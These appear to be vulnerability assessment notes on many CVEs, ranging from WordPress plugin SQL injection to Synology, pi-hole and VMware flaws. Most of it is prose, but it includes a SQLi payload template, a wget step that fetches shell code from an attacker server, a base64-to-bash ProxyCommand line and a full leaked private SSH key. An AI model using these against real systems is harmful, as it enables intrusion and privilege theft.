h00die (67)

A blind, time based SQL injection was discovered in Email Subscribers & Newsletters WordPress plugin versions before 4.3.1. The hash parameter is vulnerable to injection. While readily accessible, and a decent amount of installs, the SQLi is relatively complex compared to most commons SQLi for Wordpress Plugins. The request requires a GUID (random is fine), and email (random is fine), and is formatted as such:
{"contact_id":"100','100','100','3'),('1594999398','1594999398','1',(1) AND #{payload},'100','100','3'),('1594999398','1594999398','1','100","campaign_id":"100","message_id":"100","email":"#{email}","guid":"#{guid}","action":"open"}

https://github.com/rapid7/metasploit-framework/pull/14418

This is a rather neat vulnerability IMO.

Easy WP SMTP versions <= 1.4.2 has a non-default debug option. When set, the WordPress plugin creates a [a-z0-9]{5,15}_debug_log.txt file in the wp-content/plugins/easy-wp-smtp/ directory. Problem is, this folder allows directory listings, so the file can easily be accessed. The debug log file contains SMTP logs for the Wordpress instance.

Attack chain is as follows:

1. find the debug_log file
   
2. request a password reset for an account
   
3. read the debug_log file which will have the password reset link for that user
   
4. use the link to change the password for that user.
   

Pretty easy to exploit, but but not necessarily in an automated way since the password change may have unknown requirements. Easy to do manually though!

The file may also contain creds for the SMTP server!

https://github.com/rapid7/metasploit-framework/pull/14474

Blind SQLi in Chop Slider 3 by iDangero.us. The true value of this exploit is low, simply because the company stopped supporting the plugin several years before the exploit was discovered. Most users had therefore moved away from the plug-in before disclosure.

The iDangero.us Chop Slider 3 WordPress plugin prior to version 3.4 contains a blind SQL injection in the id parameter of the get_sript/index.php page. The injection is passed through GET parameters, and thus must be encoded, and magic_quotes is applied at the server.

Exploitable in default config, a valid id is not required.

https://github.com/rapid7/metasploit-framework/pull/14576

Cayin CMS systems have an AUTHENTICATED RCE in the NTP configuration. The system didn’t install correctly on Ubuntu 20.04 at the time the exploit was released, and the company recommends Ubuntu 16.04, unknown if 18.04 will work. Grants root on Ubuntu.

Requires creds, default for CMS-SE was administrator:admin, but the original write-up mentions webadmin:bctvadmin.

CMS system can come on hardware devices. CMS-SE the exploitable file is system_service.cgi however the original vuln write-up mentions system.cgi, so it looks like there is a variance between the hardware devices and the Ubuntu installer. YMMV.

After authentication, the exploit is against the NTP server IP field. During testing of CMS-SE the Update button/functionality was used. Clicking save did not have an immediate effect, and Test worked, but executed 3 times. If your payload is small, you could use Test, however with a larger payload like meterp, it was determined that the payload was writing 3 times in each stage… So if the payload chunks were A, B, C, the payload ended up AAABBBCCC.
Due to character limit, any payload that isn’t small will need to go through a cmdstager type chunking. The field can take ~200 characters, believed to be about ~230 but 200 was used in the exploit to allow for padding.

At the time of writing (and exploit release) vulnerability had not been patched by vendor. Windows app which bundles Apache Tomcat and MySQL, so a nice default and consistent environment to exploit. Can be hard to detect version, it’s not readily available on any screens. language.js shows xPost 2.5, however this file may not change in the future when the patch is eventually released.

SQLi with mysql, this is a classic DUMPFILE sqli, but you need to know the webroot. Default install is C:/CayinApps/webapps/, but may possibly change install to install. Dump a JSP shellcode, load it through the web browser and done.

The SQLi is blind, sqlmap will detect it as time based, instead of a UNION as used in the exploit. I couldn’t get sqlmap to detect it as a UNIONeven when giving it more precise information.

Vulnerability is trivial to exploit. Send a GET request to /webman/forget_passwd.cgi?user=<username> and check the response.
A user who can login will give:

{
   "info" : "admin group",
   "msg" : 1
}

A user who can’t login will give:

{
   "info" : "no mail or no priviege",
   "msg" : 2
}

An invalid user will give:

{
   "info" : "get user info failed",
   "msg" : 4
}

msg 3 means either the feature is disabled, or patched.
msg 5 means you’re locked out.

Default lockout policy is 10 logins in 5min. Each username enumeration counts as a login. Lockout is permanent by default.

AUTHENTICATED command execution in webman/modules/StorageManager/smart.cgi through either a GET or POST request.
Variables for the request look as such:

        'action' => 'apply',
        'operation' => 'quick',
        'disk' => "/dev/sda"

The disk field is vulnerable. However, that’s just where this fun begins. The disk field is required to be ‘semi’ disk correct. AKA you can’t just have nothing there, or a, however /dev/sd did seem to work. Next, when the command is passed off, the entire disk field is limited to 30 characters. After shortening to /dev/sd and then adding ticks (‘`’) you are left with 22 characters. Pretty tight spacing.

To circumvent this restriction, the following was done:

1. in < 22 characters, echo -n and ip:port to a file (/a).
   
2. use wget -i /a -O <file> to then pull back shell code from a attacker controlled HTTP server
   
3. execute the payload
   

Most likely step 1 will need to be done in > 1 steps.

Exploitation grants root privileges.

Works against pi-hole <=4.4, which was just about recent at the time of release.
Excellent write-up here: https://frichetten.com/blog/cve-2020-11108-pihole-rce/

The CVE encompasses a file overwrite, however overwriting the right files can escalate privs.
The CVE is basically that a new blocklist can be added, and then an update is forced (gravity is pihole terminology for this) to pull in the blocklist content. PHP content is then written to a file within the webroot.

How the real chain of exploit works is this:

1. writes a sudo pihole command to launch teleporter, effectively running a priv esc. sudo pihole -a -t is the command to do this. pihole is in sudoers, so we won’t need to provide a password. This file is stored at an arbitrary location within the webroot.
   
2. writes our payload to teleporter.php, overwriting, the content.
   
3. visit the arbitrary file set in phase 1, which launches the pihole command. -t executes teleporter.php, which gives us a root shell.
   

Most of the restrictions for this exploit are focused around adding the blocklist. Due to encoding, formatting, etc, we are only able to provide an IP. No port, or file name.

With this in mind, exploitation takes many steps. In theory, w/o these restrictions, you’d set 2 block lists (phase 1, and 2), update gravity twice to pull in the files, and done. You would have set each block list to a diff URL thus being able to differentiate them.

However, since you aren’t able to do that, the actual chain looks more like this:

1. add blocklist for phase 1
   
2. update gravity and 200 OK the request
   
3. update gravity and send back your phase 1 command.
   
4. add blocklist for phase 2
   
5. update gravity and 200 OK the request
   
6. update gravity and send back your phase 2 command.
   
7. hit the URL stored for phase 1.
   

Typically you’ll want to combine this vulnerability with CVE-2017-6528 to download the user/password database. Developer was not interested in patching this vulnerability. This is just a typical directory traversal, but a null %00 at the end. In production we found this to be 4 ../ of depth.

The Admin console includes a command to run shell commands. The GETrequest to cgi-bin/dna/sysAdmin.cgi requires administrative privileges on the account, however the POST command to run a command does not require authentication. Thus allowing an arbitrary command execution. Scripts were all written in perl, so a perl based payload is most safe.

/home/dna/spool/.pfile is the database file for users. It is a tab delimited file, and by default passwords are kept in cleartext. An option is available to hash the passwords (MD5 I believe), however it is not the default. The configuration we found in live tested included several admin accounts for the software developer. No patch was available or would be created when the developer was notified.

The uid field is passed within a GET parameter. These are sequential integers, so it is trivial to enumerate them all. The session for the UID needs to be valid, and the timeout is rather long. So it’s rather trivial to simply enumerate through them in an infinite loop to get an admin.

Exploitation of this vulnerability is temperamental at least, destructive at most. While triggering the exploit, it seems somewhat dependent on a higher than default kern.maxfiles. If maxfiles is set too low, the box will reboot.
If exploitation is successful, in order to cause the RCE, /etc/libmap.confis altered. If the original one is not restored, the box is bricked since it attempts to call the payload which was most likely deleted once run.
Exploitation can take between 20-70 minutes.

The big kicker for this was that it didn’t work on the cellular side, so you needed to be on the same network as the device. The device most likely being on the wifi, so a coffee bar or airport would have been prime exploitation grounds.
ES File Explorer is a VERY common software, often included on cheaper Android phones, for browsing files. The vulnerability basically gave as much access to the device as you’d want, allowing for almost everything but RCE. The software on the odd port spoke HTTP, so JSON POST commands were the common language.

The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh’s ProxyCommand option can be passed from imap_open to execute arbitrary commands.
The execution flow of this, on Debian systems is as such:

1. PHP imap_open via rsh
   
2. rsh aliased to ssh
   
3. SSH’s ProxyCommand RCE
   

There were some other nuances, such as not allowing spaces ($IFS$() is OK). Typical execution of this at the SSH side was to base64 encode the payload and pipe it to bash: "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`".

The trick is finding where a webapp calls the imap_open functionality. Typically this is in a higher privileged part of the webapp, since it could be destructive (such as disabling notifications). Some webapps seem to include the function call, but never call the function which uses it (maybe there for plugins to use?).

This is similar to CVE-2009-2936, but on a local binary instead of a network port. The binary, which is obscure and not easy to find, when given an arbitrary file as input with debug and verbose mode set, will attempt to load it. The arbitrary file will fail to load because it isn’t a correct file, and the first line will be echoed back to the screen, split at 20 characters in length. The binary also runs with the suid bit set, so most likely you’ll want /etc/shadow to get root’s hash.

Debut makes an embedded http server which is likely on ‘dumb’ devices which need a web server for configuration such as Brother and HP printers. Exploitation is trivial, just send 40 characters of data in a POST request w/o authentication, and the service will crash. Since these devices are typically cheap and ‘dumb’, crashing the http server will most likely also cause the entire device to reboot, or require a watchdog service to restart the http server. Isn’t much to gain here though since you’re simply crashing a service. DoS printers, save trees?
However, of note, these devices may not include a firmware update mechanism, and may therefore be vulnerable for life, such as my Brother HL-L2380DW.

Found this software in an enterprise environment. The /storage/tmp/devblocks_cache---ch_workersand /storage/tmp/zend_cache---ch_workersfiles contain lots of data, however the only things of value are a list of usernames and password hashes. When found in an enterprise, this gave us over 200 MD5 hashes, which was a huge win. Never seen the software before or after though.

This vulnerability only happens when the Limit method is defined. This most likely isn’t very common in enterprise environments, and also the Limit method needs to be configured in an invalid way.
Pending all that is true, which is unlikely, its possible to send an OPTIONS HTTP request and get back arbitrary memory.
Unlike Heartbleed, we’re receiving back minimal memory and its also intermingled with the response.
From my testing, against a test server, no useful data was found. It’s possible a production server on a very busy website may have divulged more useful data, but it would have to be minimal due to the returned buffer size.

Authentication is required, although there are some defaults.
Once authenticated, this is a trivial RCE. Simply POST an oinkcode, where the value is shellcode wrapped in ticks. Typically the shellcode will want to be CMD and not a binary, with limited commands in the default appliance. However, these should be easy to identify since the exploitation, post auth, is so trivial.

The (3) part of this does seem to be true, using vcl.load and supplying it a file will attempt to load the file. Because the file is most likely NOT a vcl file, the file will fail to load, however the error message echoed back to the user includes the first line of the file.
While you are able to read an arbitrary file, you’ll only get the first line, YMMV. The process is most likely also not running as root, so /etc/shadow where the first line would be great most likely won’t happen.

Default SSH key was left on the appliance, allowing anyone to login if they know the private key. The private key was discovered/released, thus allowing easy login via SSH, which is on by default.
Key is:

-----BEGIN RSA PRIVATE KEY-----
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
-----END RSA PRIVATE KEY-----

‘unspecified password’: <<< %s(un='%s') = %u.
This was a manufacturer backdoor account left on the device. Interestingly, when experts analyzed the OS Images, they assessed that the password for the backdoor account was created in a way that would look like an innocuous string when analyzed.
While Juniper isn’t very common on enterprise environments, especially running ScreenOS, they still existed in smaller satellite offices.

This vulnerability is unbelievably easy to trigger. The binary/process sunxi_debug was accidentally incorporated into kernel builds for Allwinner processors. Simply echoing ‘rootmydevice’ to the process /proc/sunxi_debug/sunxi_debug would elevate the shell to root. Beyond simple, trivial to code, absolutely safe from crashing the device.
There were a few issues though. These devices tend to be cheap and/or obscure such as Dragon Android tablets and Orange Pi thus unlikely to be in non-BYOD enterprise environments. The Android tables also incorporate sandboxing which prevented an app from sending the command to the process.

This vulnerability is trivial to exploit.
The “Open VMware USB Arbitrator Service” binary can be run (through a hard link) from any location, including attacker controlled. Next, when the Service binary is run, which any user can do, it automatically runs ../../../Contents/Library/services/VMware USB Arbitrator Service. By ensuring the hard link is 3 levels deep from VMware USB Arbitrator Service, we’re able to get code execution. When our payload (VMware USB Arbitrator Service) is run, it’s done so with an EUID of 0, thus priv escalating. This is trivial to exploit since we’re not overwriting any files, or calling anything abnormal, and easy to clean-up. There is NO chance of crashing the system either.